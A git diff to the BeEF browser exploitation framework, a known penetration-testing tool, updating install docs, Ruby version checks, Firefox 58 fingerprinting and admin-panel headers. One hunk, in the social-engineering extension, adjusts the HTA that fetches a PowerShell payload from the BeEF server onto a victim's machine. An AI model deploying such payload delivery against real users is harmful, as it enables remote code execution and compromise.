diff --git a/Gemfile b/Gemfile index c043c0d78..0045d9864 100644 --- a/Gemfile +++ b/Gemfile @@ -69,6 +69,9 @@ end # DNS extension group :ext_dns do gem 'rubydns', '~> 0.7.3' + # rubydns requires rainbow + # which requires rake, but doesn't specify rake as a dependency + gem 'rake' end # network extension diff --git a/INSTALL.txt b/INSTALL.txt index eee69bce5..ab5ca94b4 100644 --- a/INSTALL.txt +++ b/INSTALL.txt @@ -6,98 +6,66 @@ =============================================================================== +Source +------ + +Obtain application source code either by downloading the latest archive: + + $ wget https://github.com/beefproject/beef/archive/master.zip + +Or cloning the Git repository from Github: + + $ git clone https://github.com/beefproject/beef + + +Prerequisites +-------------- + +BeEF requires Ruby 2.3+. + +If your operating system package manager does not support Ruby version 2.3, +you can add the brightbox ppa repository for the latest version of Ruby: + + $ sudo apt-add-repository -y ppa:brightbox/ruby-ng + +Alternatively, consider using a Ruby environment manager such as rbenv or rvm +to manager your Ruby versions. Refer to the following for more information: + + * rbenv: https://github.com/rbenv/rbenv + * rvm: https://rvm.io/rvm/install' + + Installation ------------ - 1. Prerequisites (platform independent) - 2. Prerequisites (Windows) - 3. Prerequisites (Linux) - 4. Prerequisites (Mac OSX) - 5. Install instructions - 6. Run instructions +Once Ruby is installed, run the install script in the BeEF directory: + + ./install + +This script installs the required operating system packages and all the +prerequisite Ruby gems. + +Upon successful installation, be sure to read the Configuration page +on the wiki for important details on configuring and securing BeEF. + + https://github.com/beefproject/beef/wiki/Configuration +Start BeEF +---------- - 1. Prerequisites (platform independent) +To start BeEF, simply run: - BeEF requires Ruby 2.2+ and the "bundler" gem. Bundler can be installed by: - - gem install bundler - - - 2. Prerequisites (Windows) - - Windows is no longer supported. The following instructions are outdated. - - !!! This must be done PRIOR to running the bundle install command !!! - - Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory: - - http://www.sqlite.org/sqlitedll-3_7_0_1.zip - - Other than that, you also need TheRubyRacer. As it's painful to install it on Windows, you can download 2 pre-compiled V8 DLLs and 2 gems from https://github.com/eakmotion/therubyracer_for_windows. - - Finally, edit beef's gem lock file by replacing the required ruby racer version with the version downloaded from the link above. - - 3. Prerequisites (Linux) - - !!! This must be done PRIOR to running the bundle install command !!! - - On linux you will need to find the packages specific to your distribution for sqlite. An example build script for Ubuntu 14.04 systems is: - - # Set your prefered build dir - BUILDDIR=/opt && \ - cd $BUILDDIR && \ - \ - # Install dependences - sudo apt-get update && \ - sudo apt-get install -y \ - build-essential \ - git \ - libsqlite3-dev \ - software-properties-common \ - sqlite3 \ - sqlite3-doc && \ - \ - # Add brightbox ppa for the latest version of ruby - sudo apt-add-repository -y \ - ppa:brightbox/ruby-ng && \ - \ - # Install ruby (2.2 in this example) - sudo apt-get update && \ - sudo apt-get install -y \ - ruby2.2 \ - ruby2.2-dev && \ - \ - # Install bundler using gem - sudo gem install bundler - - 3.1. It is recommended not to use rvm. If you use rvm the ruby binaries are installed to locations outside of your default path which may cause problems later. - - 4. Prerequisites (Mac OSX) - - - XCode: provides the sqlite support BeEF needs - - - Ruby 2.1 - To install RVM and Ruby 2.1.5 on Mac OS: - $ bash -s stable < <(curl -Ls https://raw.githubusercontent.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile - $ rvm install 2.1.5 - $ rvm use 2.1.5 + $ ./beef - 5. Install instructions - - Obtain application code either by downloading an archive from https://github.com/beefproject/beef/archive/master.zip or cloning the GIT repo https://github.com/beefproject/beef.git +Updating +-------- - Enter into the newly created BeEF directory, and type: +Due to the fast-paced nature of web browser development and webappsec landscape, +it's best to regularly update BeEF to the latest version. - bundle install +If you're using BeEF from the GitHub repository, updating is as simple as: - Bundler installs all the pre-requisite gems. - - 6. Run instructions - - Simply run: - - ./beef -x + $ git pull diff --git a/README.mkd b/README.md similarity index 89% rename from README.mkd rename to README.md index 7ab76927d..78a7b9692 100644 --- a/README.mkd +++ b/README.md @@ -36,9 +36,9 @@ __Twitter:__ @beefproject Requirements ------------ -* OSX 10.5.0 or higher, modern Linux -* [Ruby](http://rubylang.org) version 2.2 or newer -* [SQLite](http://sqlite.org) 3.x +* Operating System: Mac OSX 10.5.0 or higher / modern Linux +* [Ruby](http://rubylang.org): 2.3 or newer +* [SQLite](http://sqlite.org): 3.x * The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile @@ -47,12 +47,14 @@ Quick Start __The following is for the impatient.__ +The `install` script installs the required operating system packages and all the prerequisite Ruby gems: + + $ ./install + For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt). We also have an [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki. - $ curl -L https://raw.githubusercontent.com/beefproject/beef/a6a7536e/install-beef | bash -s stable - Upon successful installation, be sure to read the [Configuration](https://github.com/beefproject/beef/wiki/Configuration) page on the wiki for important details on configuring and securing BeEF. diff --git a/beef b/beef index d894654f9..0942b0153 100755 --- a/beef +++ b/beef @@ -12,11 +12,11 @@ $VERBOSE = nil # -# @note Version check to ensure BeEF is running Ruby 2.2+ +# @note Version check to ensure BeEF is running Ruby 2.3+ # -if RUBY_VERSION < '2.2' +if RUBY_VERSION < '2.3' puts - puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version 2.2 or later." + puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version 2.3 or later." puts exit 1 end diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 0740a8999..c6502b9ef 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -589,13 +589,21 @@ beef.browser = { isFF57: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/57./) != null; }, + + /** + * Returns true if FF58 + * @example: beef.browser.isFF58() + */ + isFF58: function () { + return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/58./) != null; + }, /** * Returns true if FF. * @example: beef.browser.isFF() */ isFF: function () { - return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57(); + return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58(); }, /** @@ -1659,6 +1667,7 @@ beef.browser = { FF55: this.isFF55(), // Firefox 55 FF56: this.isFF56(), // Firefox 56 FF57: this.isFF57(), // Firefox 57 + FF58: this.isFF58(), // Firefox 58 FF: this.isFF(), // Firefox any version IE6: this.isIE6(), // Internet Explorer 6 @@ -2305,6 +2314,10 @@ beef.browser = { return '57' } ; // Firefox 57 + if (this.isFF58()) { + return '58' + } + ; // Firefox 58 if (this.isIE6()) { return '6' diff --git a/extensions/admin_ui/controllers/authentication/authentication.rb b/extensions/admin_ui/controllers/authentication/authentication.rb index ec5c05722..1f8e8b3d6 100644 --- a/extensions/admin_ui/controllers/authentication/authentication.rb +++ b/extensions/admin_ui/controllers/authentication/authentication.rb @@ -31,6 +31,7 @@ class Authentication < BeEF::Extension::AdminUI::HttpController # Function managing the index web page def index @headers['Content-Type']='text/html; charset=UTF-8' + @headers['X-Frame-Options']='sameorigin' end # @@ -42,6 +43,7 @@ class Authentication < BeEF::Extension::AdminUI::HttpController password = @params['password-cfrm'] || '' config = BeEF::Core::Configuration.instance @headers['Content-Type']='application/json; charset=UTF-8' + @headers['X-Frame-Options']='sameorigin' ua_ip = @request.ip # get client ip address @body = '{ success : false }' # attempt to fail closed @@ -85,6 +87,7 @@ class Authentication < BeEF::Extension::AdminUI::HttpController (print_error "invalid session";return @body = "{ success : true }") if not @session.valid_session?(@request) @headers['Content-Type']='application/json; charset=UTF-8' + @headers['X-Frame-Options']='sameorigin' # set the session to be log out @session.set_logged_out diff --git a/extensions/admin_ui/controllers/panel/index.html b/extensions/admin_ui/controllers/panel/index.html index 610b8e072..81d31c4e5 100644 --- a/extensions/admin_ui/controllers/panel/index.html +++ b/extensions/admin_ui/controllers/panel/index.html @@ -27,7 +27,7 @@
BeEF <%= BeEF::Core::Configuration.instance.get('beef.version') %> | - Submit Bug | + Submit Bug | Logout
diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index cbbe58997..73f339371 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -23,7 +23,8 @@ module BeEF end # default index page - def index; + def index + @headers['X-Frame-Options']='sameorigin' end # return a JSON object contains all the updates for the hooked browser trees diff --git a/extensions/social_engineering/powershell/bind_powershell.rb b/extensions/social_engineering/powershell/bind_powershell.rb index d6409dc5a..7584e45a9 100644 --- a/extensions/social_engineering/powershell/bind_powershell.rb +++ b/extensions/social_engineering/powershell/bind_powershell.rb @@ -30,8 +30,9 @@ module BeEF response['Content-Type'] = "application/hta" host = BeEF::Core::Configuration.instance.get('beef.http.public') || BeEF::Core::Configuration.instance.get('beef.http.host') port = BeEF::Core::Configuration.instance.get('beef.http.public_port') || BeEF::Core::Configuration.instance.get('beef.http.port') + proto = BeEF::Core::Configuration.instance.get("beef.http.https.enable") == true ? "https" : "http" ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url') - payload_url = "http://#{host}:#{port}#{ps_url}/ps.png" + payload_url = "#{proto}://#{host}:#{port}#{ps_url}/ps.png" print_info "Serving HTA. Powershell payload will be retrieved from: #{payload_url}" "